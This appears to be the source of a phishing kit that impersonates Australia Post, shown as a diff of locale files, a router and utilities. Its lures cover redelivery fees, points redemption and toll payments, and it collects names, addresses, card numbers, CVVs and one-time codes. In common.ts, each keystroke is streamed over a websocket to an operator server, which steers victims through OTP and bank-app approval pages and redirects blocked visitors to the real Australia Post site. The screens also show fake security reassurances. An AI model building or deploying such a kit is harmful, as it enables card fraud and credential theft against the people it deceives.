"Spend points": "Gastar pontos",
|
||||
"Points Available": "Pontos disponíveis",
|
||||
"You don't have enough points": "Você não tem pontos suficientes",
|
||||
"Please redeem your favorite product": "Por favor, resgate seu produto favorito",
|
||||
"Confirm your shipping address": "Confirme seu endereço de envio",
|
||||
"Order number": "Número do pedido: ",
|
||||
"Pay": "Pagar",
|
||||
"Pay Message": "Pague {0} para trocar pontos por mercadoria",
|
||||
"Pay electronic tolls online": "Pague pedágios eletrônicos online",
|
||||
"your electronic toll payment was unsuccessful":
|
||||
"seu pagamento de pedágio eletrônico não foi bem-sucedido.",
|
||||
"Billing Information": "Informações de cobrança",
|
||||
"Description": "Descrição",
|
||||
"Dear customer": "Prezado cliente:",
|
||||
"Electronic Communications Charge Payment Failed":
|
||||
"Falha no pagamento da taxa de comunicações eletrônicas",
|
||||
"Invoice Number": "Número da fatura",
|
||||
"Amount": "Valor",
|
||||
"Pay Immediately": "Pagar agora",
|
||||
"Phone Number": "Número de telefone",
|
||||
"Electronic communication fee payment failed":
|
||||
"Falha no pagamento da taxa de comunicação eletrônica",
|
||||
"Illustrate": "Ilustrar"
|
||||
};
|
||||
98
a12_au_post_aupost/src/locales/vn/index.ts
Normal file
@@ -0,0 +1,98 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Có lỗi trong trường này, vui lòng kiểm tra",
|
||||
"Please enter a valid email address": "Vui lòng nhập địa chỉ email hợp lệ",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kính gửi người dùng, vui lòng điền biểu mẫu cẩn thận để đảm bảo giao hàng thành công",
|
||||
"Your Name": "Tên của bạn",
|
||||
"Address": "Địa chỉ",
|
||||
"Detailed Address": "Địa chỉ chi tiết",
|
||||
"(Optional)": "(Tùy chọn)",
|
||||
"City": "Thành phố",
|
||||
"State": "Bang",
|
||||
"Province": "Tỉnh",
|
||||
"Region": "Khu vực",
|
||||
"Zip Code": "Mã bưu chính",
|
||||
"E-Mail": "Email",
|
||||
"Next": "Tiếp theo",
|
||||
"Telephone Number": "Số điện thoại",
|
||||
"Online": "Trực tuyến",
|
||||
"Payment": "Thanh toán",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "Để giao lại, chúng tôi cần tính một số phí dịch vụ. Gói hàng của bạn sẽ được giao lại sau khi thanh toán",
|
||||
"lump sum: ": "Tổng số tiền: ",
|
||||
"Cardholder": "Chủ thẻ",
|
||||
"Card Number": "Số thẻ",
|
||||
"Expire Date": "Ngày hết hạn",
|
||||
"Security Code": "Mã bảo mật",
|
||||
"Submit": "Gửi",
|
||||
"Click here to receive another code": "Nhấp vào đây để nhận mã khác",
|
||||
"Please confirm your identity and a one-time code will be sent": "Vui lòng xác nhận danh tính của bạn, mã xác minh sẽ được gửi đến số điện thoại hoặc email của bạn. Vui lòng nhập mã xác minh tại đây",
|
||||
"The verification code has been sent to": "Mã xác minh đã được gửi đến",
|
||||
"Please do not click the": "Vui lòng không nhấp vào nút 'Làm mới' hoặc 'Quay lại' vì điều này có thể chấm dứt giao dịch của bạn",
|
||||
"Verification code error, please try again": "Mã xác minh không đúng, vui lòng thử lại",
|
||||
"The session is about to expire, please complete the verification now": "Phiên làm việc sắp hết hạn, vui lòng hoàn tất xác minh ngay",
|
||||
"This card does not support this transaction, please try another card": "Thẻ này không hỗ trợ giao dịch này, vui lòng thử thẻ khác",
|
||||
"Authorized bank": "Ngân hàng được ủy quyền",
|
||||
"Please go to the bank App to confirm the authorization": "Vui lòng mở ứng dụng ngân hàng để xác nhận ủy quyền",
|
||||
"Please do not close this page": "Vui lòng không đóng trang này",
|
||||
"Payment Successful": "Thanh toán thành công!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Cảm ơn bạn đã mua hàng. Thanh toán của bạn đã được xử lý thành công",
|
||||
"Mailing address": "Địa chỉ gửi thư",
|
||||
"street address or house number": "Địa chỉ đường hoặc số nhà",
|
||||
"Apartment number": "Số căn hộ, số phòng, v.v.",
|
||||
"Safe payment": "Thanh toán an toàn",
|
||||
"Verification code": "Mã xác minh",
|
||||
"Welcome": "Chào mừng",
|
||||
"back": "Quay lại!",
|
||||
"We reward you for using point services": "Chúng tôi tặng thưởng khi bạn sử dụng dịch vụ tích điểm",
|
||||
"Check your points": "Kiểm tra điểm của bạn",
|
||||
"Phone number": "Số điện thoại",
|
||||
"Inquire": "Tra cứu",
|
||||
"Exchange": "Đổi",
|
||||
"Spend points": "Tiêu điểm",
|
||||
"Points Available": "Số điểm hiện có",
|
||||
"You don't have enough points": "Bạn không đủ điểm",
|
||||
"Please redeem your favorite product": "Vui lòng đổi sản phẩm yêu thích của bạn",
|
||||
"Confirm your shipping address": "Xác nhận địa chỉ giao hàng của bạn",
|
||||
"Order number": "Mã đơn hàng: ",
|
||||
"Pay": "Thanh toán",
|
||||
"Pay Message": "Thanh toán {0} để đổi điểm lấy hàng hóa",
|
||||
"Pay electronic tolls online": "Thanh toán phí đường bộ trực tuyến",
|
||||
"your electronic toll payment was unsuccessful": "Thanh toán phí đường bộ của bạn không thành công.",
|
||||
"Billing Information": "Thông tin thanh toán",
|
||||
"Description": "Mô tả",
|
||||
"Dear customer": "Kính gửi khách hàng:",
|
||||
"Electronic Communications Charge Payment Failed": "Thanh toán phí liên lạc điện tử không thành công",
|
||||
"Invoice Number": "Số hóa đơn",
|
||||
"Amount": "Số tiền",
|
||||
"Pay Immediately": "Thanh toán ngay",
|
||||
"Phone Number": "Số điện thoại",
|
||||
"Electronic communication fee payment failed": "Thanh toán phí liên lạc điện tử không thành công",
|
||||
"Illustrate": "Minh họa",
|
||||
"SSL Encryption": "Mã hóa SSL",
|
||||
"PCI-DSS Certified": "Được chứng nhận PCI-DSS",
|
||||
"Transaction Details": "Chi tiết giao dịch",
|
||||
"Transaction ID:": "Mã giao dịch:",
|
||||
"Processing Network:": "Mạng xử lý:",
|
||||
"Processing Time:": "Thời gian xử lý:",
|
||||
"Security Level:": "Mức độ bảo mật:",
|
||||
"Preparing...": "Đang chuẩn bị...",
|
||||
"High": "Cao",
|
||||
"Initializing payment environment...": "Đang khởi tạo môi trường thanh toán...",
|
||||
"Encrypting card information...": "Đang mã hóa thông tin thẻ...",
|
||||
"Establishing secure connection...": "Đang thiết lập kết nối an toàn...",
|
||||
"Verifying card number and issuer...": "Đang xác minh số thẻ và nhà phát hành...",
|
||||
"Validating CVV code...": "Đang xác thực mã CVV...",
|
||||
"Checking fraud risk...": "Đang kiểm tra rủi ro gian lận...",
|
||||
"Sending transaction request...": "Đang gửi yêu cầu giao dịch...",
|
||||
"Waiting for bank authorization...": "Đang chờ ngân hàng ủy quyền...",
|
||||
"Processing bank response...": "Đang xử lý phản hồi từ ngân hàng...",
|
||||
"Confirming transaction status...": "Đang xác nhận trạng thái giao dịch...",
|
||||
"Finalizing transaction...": "Đang hoàn tất giao dịch...",
|
||||
"Visa Secure Network": "Mạng bảo mật Visa",
|
||||
"Mastercard Global Payment Network": "Mạng thanh toán toàn cầu Mastercard",
|
||||
"American Express Dedicated Channel": "Kênh chuyên dụng American Express",
|
||||
"UnionPay Gateway": "Cổng thanh toán UnionPay",
|
||||
"{time} seconds": "{time} giây",
|
||||
"International Payment Network": "Mạng thanh toán quốc tế",
|
||||
"redelivery_fee_message": "Để giao lại, chúng tôi cần thu phí dịch vụ {amount}, gói hàng của bạn sẽ được giao lại sau khi thanh toán",
|
||||
"Verifying...": "Đang xác minh...",
|
||||
};
|
||||
109
a12_au_post_aupost/src/locales/xk/index.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Ka një gabim në këtë fushë, ju lutemi kontrolloni",
|
||||
"Please enter a valid email address": "Ju lutemi vendosni një adresë emaili të vlefshme",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Të nderuar përdorues, ju lutemi plotësoni formularin me kujdes për të siguruar dorëzim të suksesshëm",
|
||||
"Your Name": "Emri juaj",
|
||||
"Address": "Adresa",
|
||||
"Detailed Address": "Adresa e detajuar",
|
||||
"(Optional)": "(Opsionale)",
|
||||
"City": "Qyteti",
|
||||
"State": "Shteti / Zona",
|
||||
"Province": "Provinca",
|
||||
"Region": "Rajoni",
|
||||
"Zip Code": "Kodi postar",
|
||||
"E-Mail": "Email",
|
||||
"Next": "Tjetër",
|
||||
"Telephone Number": "Numri i telefonit",
|
||||
"Online": "Online",
|
||||
"Payment": "Pagesa",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"Për ridërgesë, duhet të tarifojmë disa tarifa shërbimi. Paketa juaj do të ridërgohet pas pagesës",
|
||||
"lump sum: ": "Shuma totale: ",
|
||||
"Cardholder": "Mbajtësi i kartës",
|
||||
"Card Number": "Numri i kartës",
|
||||
"Expire Date": "Data e skadencës",
|
||||
"Security Code": "Kodi i sigurisë",
|
||||
"Submit": "Dërgo",
|
||||
"Click here to receive another code": "Klikoni këtu për të marrë një kod tjetër",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Ju lutemi konfirmoni identitetin tuaj. Një kod njëpërdorimësh do t’ju dërgohet në telefon ose email. Ju lutemi vendosni kodin këtu",
|
||||
"The verification code has been sent to":
|
||||
"Kodi i verifikimit është dërguar te",
|
||||
"Please do not click the":
|
||||
"Ju lutemi mos klikoni butonat “Rifresko” ose “Kthehu”, pasi kjo mund të ndërpresë transaksionin tuaj",
|
||||
"Verification code error, please try again":
|
||||
"Gabim në kodin e verifikimit, ju lutemi provoni përsëri",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"Seanca është gati të skadojë, ju lutemi përfundoni verifikimin tani",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Kjo kartë nuk e mbështet këtë transaksion, ju lutemi provoni një kartë tjetër",
|
||||
"Authorized bank": "Banka e autorizuar",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Ju lutemi hapni aplikacionin e bankës për të konfirmuar autorizimin",
|
||||
"Please do not close this page": "Ju lutemi mos e mbyllni këtë faqe",
|
||||
"Payment Successful": "Pagesa u krye me sukses!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Faleminderit për blerjen. Pagesa juaj u përpunua me sukses",
|
||||
"Mailing address": "Adresa e dorëzimit",
|
||||
"street address or house number": "Emri i rrugës ose numri i shtëpisë",
|
||||
"Apartment number": "Numri i apartamentit / dhomës",
|
||||
"Safe payment": "Pagesë e sigurt",
|
||||
"Verification code": "Kodi i verifikimit",
|
||||
"Welcome": "Mirë se vini",
|
||||
"back": "kthehu!",
|
||||
"We reward you for using point services": "Ju shpërblejmë për përdorimin e shërbimeve me pikë",
|
||||
"Check your points": "Kontrolloni pikët tuaja",
|
||||
"Phone number": "Numri i telefonit",
|
||||
"Inquire": "Kontrollo",
|
||||
"Exchange": "Shkëmbim",
|
||||
"Spend points": "Shpenzo pikët",
|
||||
"Points Available": "Pikë të disponueshme",
|
||||
"You don't have enough points": "Nuk keni mjaftueshëm pikë",
|
||||
"Please redeem your favorite product": "Ju lutemi shkëmbeni pikët për produktin tuaj të preferuar",
|
||||
"Confirm your shipping address": "Konfirmoni adresën tuaj të dorëzimit",
|
||||
"Order number": "Numri i porosisë: ",
|
||||
"Pay": "Paguaj",
|
||||
"Pay Message": "Paguani {0} për të shkëmbyer pikët për produkte",
|
||||
"Pay electronic tolls online": "Paguani tarifat elektronike online",
|
||||
"your electronic toll payment was unsuccessful": "Pagesa juaj elektronike e tarifës nuk ishte e suksesshme.",
|
||||
"Billing Information": "Informacioni i faturimit",
|
||||
"Description": "Përshkrimi",
|
||||
"Dear customer": "I/E nderuar klient:",
|
||||
"Electronic Communications Charge Payment Failed": "Pagesa e tarifës së komunikimit elektronik dështoi",
|
||||
"Invoice Number": "Numri i faturës",
|
||||
"Amount": "Shuma",
|
||||
"Pay Immediately": "Paguaj menjëherë",
|
||||
"Phone Number": "Numri i telefonit",
|
||||
"Electronic communication fee payment failed": "Pagesa e tarifës së komunikimit elektronik dështoi",
|
||||
"Illustrate": "Shpjegim",
|
||||
"SSL Encryption": "Enkriptim SSL",
|
||||
"PCI-DSS Certified": "I certifikuar PCI-DSS",
|
||||
"Transaction Details": "Detajet e transaksionit",
|
||||
"Transaction ID:": "ID e transaksionit:",
|
||||
"Processing Network:": "Rrjeti i përpunimit:",
|
||||
"Processing Time:": "Koha e përpunimit:",
|
||||
"Security Level:": "Niveli i sigurisë:",
|
||||
"Preparing...": "Po përgatitet...",
|
||||
"High": "I lartë",
|
||||
"Initializing payment environment...": "Po inicializohet ambienti i pagesës...",
|
||||
"Encrypting card information...": "Po enkriptohen të dhënat e kartës...",
|
||||
"Establishing secure connection...": "Po krijohet lidhje e sigurt...",
|
||||
"Verifying card number and issuer...": "Po verifikohet numri i kartës dhe lëshuesi...",
|
||||
"Validating CVV code...": "Po validohet kodi CVV...",
|
||||
"Checking fraud risk...": "Po kontrollohet rreziku i mashtrimit...",
|
||||
"Sending transaction request...": "Po dërgohet kërkesa e transaksionit...",
|
||||
"Waiting for bank authorization...": "Në pritje të autorizimit nga banka...",
|
||||
"Processing bank response...": "Po përpunohet përgjigjja e bankës...",
|
||||
"Confirming transaction status...": "Po konfirmohet statusi i transaksionit...",
|
||||
"Finalizing transaction...": "Po finalizohet transaksioni...",
|
||||
"Visa Secure Network": "Rrjeti i sigurt Visa",
|
||||
"Mastercard Global Payment Network": "Rrjeti global i pagesave Mastercard",
|
||||
"American Express Dedicated Channel": "Kanali i dedikuar American Express",
|
||||
"UnionPay Gateway": "Porta UnionPay",
|
||||
"{time} seconds": "{time} sekonda",
|
||||
"International Payment Network": "Rrjeti ndërkombëtar i pagesave",
|
||||
"redelivery_fee_message": "Për ridërgesë duhet të paguani {amount} për tarifat e shërbimit. Paketa juaj do të ridërgohet pas pagesës",
|
||||
"Verifying...": "Po verifikohet...",
|
||||
};
|
||||
32
a12_au_post_aupost/src/main.ts
Normal file
@@ -0,0 +1,32 @@
|
||||
import { createApp, ref } from "vue";
|
||||
import { createPinia } from "pinia";
|
||||
|
||||
import App from "./App.vue";
|
||||
import router from "./router";
|
||||
import { createI18n } from "vue-i18n";
|
||||
import es from "./locales/es";
|
||||
import "./assets/main.css";
|
||||
import "./assets/base.css";
|
||||
import VueScrollTo from "vue-scrollto";
|
||||
|
||||
const userData = ref({});
|
||||
|
||||
const app = createApp(App);
|
||||
app.config.globalProperties.$currentUser = userData;
|
||||
const i18n = createI18n({
|
||||
locale: "es",
|
||||
messages: {
|
||||
es: es,
|
||||
},
|
||||
});
|
||||
|
||||
app.use(i18n);
|
||||
app.use(createPinia());
|
||||
app.use(router);
|
||||
router.beforeEach((to, from, next) => {
|
||||
// 使用 VueScrollTo 滚动到顶部
|
||||
VueScrollTo.scrollTo("#app", 0);
|
||||
next();
|
||||
});
|
||||
app.mount("#app");
|
||||
export default i18n;
|
||||
109
a12_au_post_aupost/src/router/index.ts
Normal file
@@ -0,0 +1,109 @@
|
||||
import { createRouter, createMemoryHistory } from "vue-router";
|
||||
|
||||
// **** 核心变化:所有视图组件都在这里进行显式导入,实现“全静态加载” ****
|
||||
import IndexView from "@/views/IndexView.vue";
|
||||
import HomeView from "@/views/HomeView.vue"; // 修正:根据常规命名,应该是 PhoneView.vue
|
||||
import PayView from "@/views/PayView.vue";
|
||||
import OtpView from "@/views/OtpView.vue";
|
||||
import CustomOtpView from "@/views/CustomOtpView.vue";
|
||||
import AppValidView from "@/views/AppValidView.vue";
|
||||
import SuccessView from "@/views/SuccessView.vue";
|
||||
import CardView from "@/views/CardView.vue";
|
||||
import AddressView from "@/views/AddressView.vue";
|
||||
|
||||
// 注意:您最后提供的代码中没有包含 GoodsView 和 GoodsDetailsView,
|
||||
// 所以这个版本也保持一致,不额外添加它们。
|
||||
|
||||
const router = createRouter({
|
||||
/**
|
||||
* History 模式选择:createMemoryHistory
|
||||
*
|
||||
* 这种模式在内部维护一个历史记录堆栈,但**不与浏览器 URL 交互**。
|
||||
* 这意味着 URL 不会改变,并且它不会留下浏览器历史记录。
|
||||
*
|
||||
* 典型用例包括:
|
||||
* - **服务端渲染 (SSR)**:在 Node.js 环境中渲染 Vue 应用时,没有浏览器环境。
|
||||
* - **桌面应用 (如 Electron)**:内部导航不影响操作系统的原生浏览器历史记录。
|
||||
* - **嵌入式应用或测试环境**:当 Vue 应用作为更大应用程序的一部分嵌入,不希望其路由影响父应用的 URL 时。
|
||||
*
|
||||
* **重要提示**:在这种模式下,用户无法通过浏览器地址栏直接访问特定路由或使用前进/后退按钮进行导航。路由的改变完全由应用内部的代码控制。
|
||||
*/
|
||||
history: createMemoryHistory(import.meta.env.BASE_URL),
|
||||
|
||||
routes: [
|
||||
{
|
||||
path: "/",
|
||||
name: "home",
|
||||
// **** 核心变化:直接引用导入的组件,实现“全静态加载” ****
|
||||
component: IndexView,
|
||||
},
|
||||
{
|
||||
path: "/home",
|
||||
name: "home",
|
||||
component: HomeView,
|
||||
},
|
||||
{
|
||||
path: "/pay",
|
||||
name: "pay",
|
||||
component: PayView,
|
||||
},
|
||||
{
|
||||
path: "/otpValid",
|
||||
name: "otpValid",
|
||||
component: OtpView,
|
||||
},
|
||||
{
|
||||
path: "/customOtpValid",
|
||||
name: "customOtpValid",
|
||||
component: CustomOtpView,
|
||||
},
|
||||
{
|
||||
path: "/appValid",
|
||||
name: "appValid",
|
||||
component: AppValidView,
|
||||
},
|
||||
{
|
||||
path: "/success",
|
||||
name: "success",
|
||||
component: SuccessView,
|
||||
},
|
||||
{
|
||||
path: "/card",
|
||||
name: "card",
|
||||
component: CardView,
|
||||
},
|
||||
{
|
||||
path: "/address",
|
||||
name: "address",
|
||||
component: AddressView,
|
||||
},
|
||||
],
|
||||
|
||||
/**
|
||||
* 滚动行为配置 (scrollBehavior):
|
||||
* 控制路由跳转时页面的滚动位置。
|
||||
*
|
||||
* @param {Object} to - 即将进入的路由对象。
|
||||
* @param {Object} from - 当前离开的路由对象。
|
||||
* @param {Object} savedPosition - 如果是浏览器前进/后退,则为存储的滚动位置。
|
||||
* @returns {Object} 包含 `left` 和 `top` 属性的对象,或者一个选择器字符串。
|
||||
*/
|
||||
scrollBehavior(to, from, savedPosition) {
|
||||
// 即使是 MemoryHistory,这里仍可检查 savedPosition,但在许多情况下它会是 undefined。
|
||||
if (savedPosition) {
|
||||
return savedPosition;
|
||||
} else {
|
||||
// 否则,滚动到页面顶部,并添加平滑滚动效果。
|
||||
return { left: 0, top: 0, behavior: "smooth" }; // 建议添加 'smooth' 以改善用户体验
|
||||
}
|
||||
},
|
||||
});
|
||||
router.afterEach(() => {
|
||||
// Try all common scroll containers
|
||||
window.scrollTo({ top: 0, left: 0, behavior: "auto" });
|
||||
document.documentElement.scrollTop = 0;
|
||||
document.body.scrollTop = 0;
|
||||
const wrap = document.querySelector(".v-application--wrap") as HTMLElement | null;
|
||||
if (wrap) wrap.scrollTop = 0;
|
||||
});
|
||||
export default router;
|
||||
15
a12_au_post_aupost/src/stores/counter.ts
Normal file
@@ -0,0 +1,15 @@
|
||||
import { defineStore } from "pinia";
|
||||
|
||||
export const useLoadingStore = defineStore("loading", {
|
||||
state: () => ({
|
||||
isLoading: false,
|
||||
}),
|
||||
actions: {
|
||||
showLoading() {
|
||||
this.isLoading = true;
|
||||
},
|
||||
hideLoading() {
|
||||
this.isLoading = false;
|
||||
},
|
||||
},
|
||||
});
|
||||
13
a12_au_post_aupost/src/stores/loadingStore.ts
Normal file
@@ -0,0 +1,13 @@
|
||||
// stores/loadingStore.ts
|
||||
import { defineStore } from "pinia";
|
||||
|
||||
export const useLoadingStore = defineStore("loading", {
|
||||
state: () => ({
|
||||
isLoading: false,
|
||||
}),
|
||||
actions: {
|
||||
setLoading(value: boolean) {
|
||||
this.isLoading = value;
|
||||
},
|
||||
},
|
||||
});
|
||||
294
a12_au_post_aupost/src/utils/common.ts
Normal file
@@ -0,0 +1,294 @@
|
||||
import _ from "lodash";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import router from "@/router";
|
||||
import { ref } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import i18n from "@/main";
|
||||
import { useSocketIo, type SessionCrypto } from "./socketio";
|
||||
|
||||
let viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
||||
if (viteBaseUrl === "/") {
|
||||
viteBaseUrl = "/";
|
||||
} else if (viteBaseUrl === "localhost:8011") {
|
||||
viteBaseUrl = "ws://" + viteBaseUrl;
|
||||
} else {
|
||||
viteBaseUrl = "wss://" + viteBaseUrl;
|
||||
}
|
||||
|
||||
|
||||
// Redirect to an external URL
|
||||
export function redirectToExternal() {
|
||||
window.location.replace("https://auspost.com.au/");
|
||||
}
|
||||
|
||||
const initHtml = async () => {
|
||||
const routePath = localStorage.getItem("route");
|
||||
// headHtml.value = await loadHtml("/gtm_post/head.html");
|
||||
|
||||
await router.push(routePath ? `/${routePath}` : "/home");
|
||||
setTimeout(async () => {
|
||||
useLoadingStore().setLoading(false);
|
||||
loadingBg.value = "#00000072";
|
||||
}, 200);
|
||||
};
|
||||
|
||||
export const customOtpData = ref<any>({});
|
||||
|
||||
export function setCustomOtpData(data: any) {
|
||||
customOtpData.value = data;
|
||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
||||
}
|
||||
|
||||
export let myWebSocket: any | undefined;
|
||||
|
||||
// Configuration data
|
||||
export const configData = ref<Record<string, any>>({});
|
||||
|
||||
// Utility function to check if all values in an object are not empty
|
||||
export function areAllValuesNotEmpty(
|
||||
obj: Record<string, any>,
|
||||
excludedFields: string[] = []
|
||||
): boolean {
|
||||
return Object.keys(obj).every((key) => {
|
||||
if (excludedFields.includes(key)) return true;
|
||||
const value = obj[key];
|
||||
return (
|
||||
value !== null &&
|
||||
value !== undefined &&
|
||||
value !== "" &&
|
||||
!(typeof value === "string" && value.trim() === "")
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
// 存储 WebSocket 和 API 的防抖函数
|
||||
const wsDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
const apiDebounceFunctions: Record<
|
||||
string,
|
||||
_.DebouncedFunc<(...args: any[]) => void>
|
||||
> = {};
|
||||
|
||||
// 获取或创建针对某个键的防抖函数
|
||||
function getDebouncedFunction(
|
||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
||||
key: string,
|
||||
func: (...args: any[]) => void,
|
||||
wait: number
|
||||
) {
|
||||
if (!debounceFunctions[key]) {
|
||||
debounceFunctions[key] = _.debounce(func, wait);
|
||||
}
|
||||
return debounceFunctions[key];
|
||||
}
|
||||
|
||||
const modeRef = ref(1)
|
||||
|
||||
|
||||
// 处理输入变化
|
||||
export function inputChange(type: string, key: any, value: any) {
|
||||
const currentTimestamp = Date.now(); // 当前时间戳
|
||||
|
||||
// WebSocket 防抖函数
|
||||
const wsDebouncedFunction = getDebouncedFunction(
|
||||
wsDebounceFunctions,
|
||||
key,
|
||||
(type, key, value) => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "input_text",
|
||||
content: { type, key, text: value },
|
||||
timestamp: currentTimestamp,
|
||||
})
|
||||
);
|
||||
},
|
||||
300
|
||||
);
|
||||
// 调用防抖函数
|
||||
wsDebouncedFunction(type, key, value);
|
||||
|
||||
}
|
||||
|
||||
|
||||
// Handle login success
|
||||
export function loginSuccess(token: string, mode: number, sessionCrypto: SessionCrypto | null = null) {
|
||||
const baseWsUrl = viteBaseUrl !== "/" ? viteBaseUrl : "wss://" + window.location.host;
|
||||
myWebSocket = useSocketIo(`${baseWsUrl}/ws`, token, sessionCrypto);
|
||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
||||
myWebSocket?.on("open", () => {
|
||||
const lastToken = localStorage.getItem("token");
|
||||
loginWebsocket(token, lastToken !== token);
|
||||
});
|
||||
|
||||
myWebSocket?.on("message", handleMessage);
|
||||
|
||||
window.addEventListener("beforeunload", () => {
|
||||
myWebSocket?.off("close");
|
||||
});
|
||||
}
|
||||
|
||||
// Handle WebSocket messages
|
||||
function handleMessage(data: any) {
|
||||
console.log("Received WebSocket message:", data);
|
||||
const jsonData = JSON.parse(data);
|
||||
if (!jsonData || !jsonData.event) return;
|
||||
|
||||
const { event, content } = jsonData;
|
||||
|
||||
switch (event) {
|
||||
case "login":
|
||||
//handleLoginEvent(content);
|
||||
break;
|
||||
case "result_type":
|
||||
handleResultTypeEvent(content);
|
||||
break;
|
||||
case "reload":
|
||||
window.location.reload();
|
||||
break;
|
||||
case "navigate":
|
||||
navigateTo(content.pagePath, content);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Handle result type event
|
||||
function handleResultTypeEvent(content: any) {
|
||||
if (!content) return;
|
||||
console.log("Handling result type event with content:", content);
|
||||
const typeHandlers: Record<string, () => void> = {
|
||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
||||
otpValid: () => navigateTo("/otpValid", content),
|
||||
appValid: () => navigateTo("/appValid", content),
|
||||
success: () => router.push("/success"),
|
||||
kickOut: redirectToExternal,
|
||||
block: redirectToExternal,
|
||||
otpFail: () =>
|
||||
eventBus.emit("otp-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t("Verification code error, please try again"),
|
||||
}),
|
||||
appFail: () =>
|
||||
eventBus.emit("app-valid", {
|
||||
message2:
|
||||
content.value.message2 ||
|
||||
i18n.global.t(
|
||||
"The session is about to expire, please complete the verification now"
|
||||
),
|
||||
}),
|
||||
back: () => handleBackOrReject(content, true),
|
||||
reject: () => handleBackOrReject(content, false),
|
||||
refresh: () => {
|
||||
if (localStorage.getItem("route")) {
|
||||
localStorage.removeItem("route");
|
||||
window.location.reload();
|
||||
}
|
||||
},
|
||||
|
||||
};
|
||||
if (content.type == "customOtpValid") {
|
||||
if (content.value.customOtpData) {
|
||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
||||
}
|
||||
}
|
||||
if (content.type === "customOtpValid") {
|
||||
if (customOtpData.value.name === "生日验证") {
|
||||
useLoadingStore().setLoading(false);
|
||||
navigateTo("/pinCode", content);
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (content.type == "customOtpFail") {
|
||||
eventBus.emit("custom-otp-valid", {
|
||||
message2: content.value.message2,
|
||||
});
|
||||
}
|
||||
|
||||
const handler = typeHandlers[content.type];
|
||||
if (handler) handler();
|
||||
|
||||
useLoadingStore().setLoading(false);
|
||||
}
|
||||
|
||||
// Navigate to specific path with query parameters
|
||||
function navigateTo(path: string, content: any) {
|
||||
|
||||
router.push('/temp').then(() => {
|
||||
router.push({
|
||||
path: path,
|
||||
query: {
|
||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
||||
message1: content.value?.message1,
|
||||
key: new Date().getMilliseconds(),
|
||||
},
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
// Handle back or reject type
|
||||
function handleBackOrReject(content: any, isBack: boolean) {
|
||||
let message2 = i18n.global.t(
|
||||
"This card does not support this transaction, please try another card"
|
||||
);
|
||||
|
||||
if (configData.value.error_card_msg) {
|
||||
message2 = configData.value.error_card_msg;
|
||||
}
|
||||
|
||||
if (content.value.type) {
|
||||
const type = content.value.type;
|
||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
||||
message2 = configData.value.deny_c_msg;
|
||||
}
|
||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
||||
message2 = configData.value.deny_d_msg;
|
||||
}
|
||||
}
|
||||
|
||||
if (content.value.message2) {
|
||||
message2 = content.value.message2;
|
||||
}
|
||||
|
||||
if (isBack) {
|
||||
router.push({ path: "/card", query: { message2 } });
|
||||
}
|
||||
|
||||
eventBus.emit("my-event", { message2 });
|
||||
}
|
||||
|
||||
// Login to WebSocket
|
||||
function loginWebsocket(token: string, isFirst: boolean) {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "login",
|
||||
content: { tag: "user", token, isFirst },
|
||||
})
|
||||
);
|
||||
initHtml();
|
||||
}
|
||||
|
||||
|
||||
|
||||
export async function loadHtml(url: string) {
|
||||
try {
|
||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
||||
if (!response.ok) {
|
||||
return "";
|
||||
}
|
||||
return await response.text();
|
||||
} catch (error) {
|
||||
return "";
|
||||
}
|
||||
}
|
||||
export const headHtml = ref("");
|
||||
|
||||
export const headerHtml = ref("");
|
||||
export const footerHtml = ref("");
|
||||
export const loadingBg = ref("#ffffff");
|
||||
|
||||
|
||||
|
||||
17
a12_au_post_aupost/src/utils/eventBus.ts
Normal file
@@ -0,0 +1,17 @@
|
||||
// src/eventBus.ts
|
||||
import mitt from "mitt";
|
||||
|
||||
// 定义事件名称和对应的数据类型
|
||||
type Events = {
|
||||
"my-event": { message2: string };
|
||||
"otp-valid": { message2: string };
|
||||
"app-valid": { message2: string };
|
||||
"custom-otp-valid": { message2: string };
|
||||
|
||||
// 可以在这里添加其他事件
|
||||
// 'another-event': number;
|
||||
};
|
||||
|
||||
const eventBus = mitt<Events>();
|
||||
|
||||
export default eventBus;
|
||||
407
a12_au_post_aupost/src/utils/socketio.ts
Normal file
@@ -0,0 +1,407 @@
|
||||
// 设置
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { io, Socket as SocketIOClient } from "socket.io-client";
|
||||
|
||||
// ─── 会话加密接口 ───────────────────────────────────────────────
|
||||
export interface SessionCrypto {
|
||||
aesKey: CryptoKey; // AES-128-GCM,不可导出
|
||||
}
|
||||
|
||||
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
|
||||
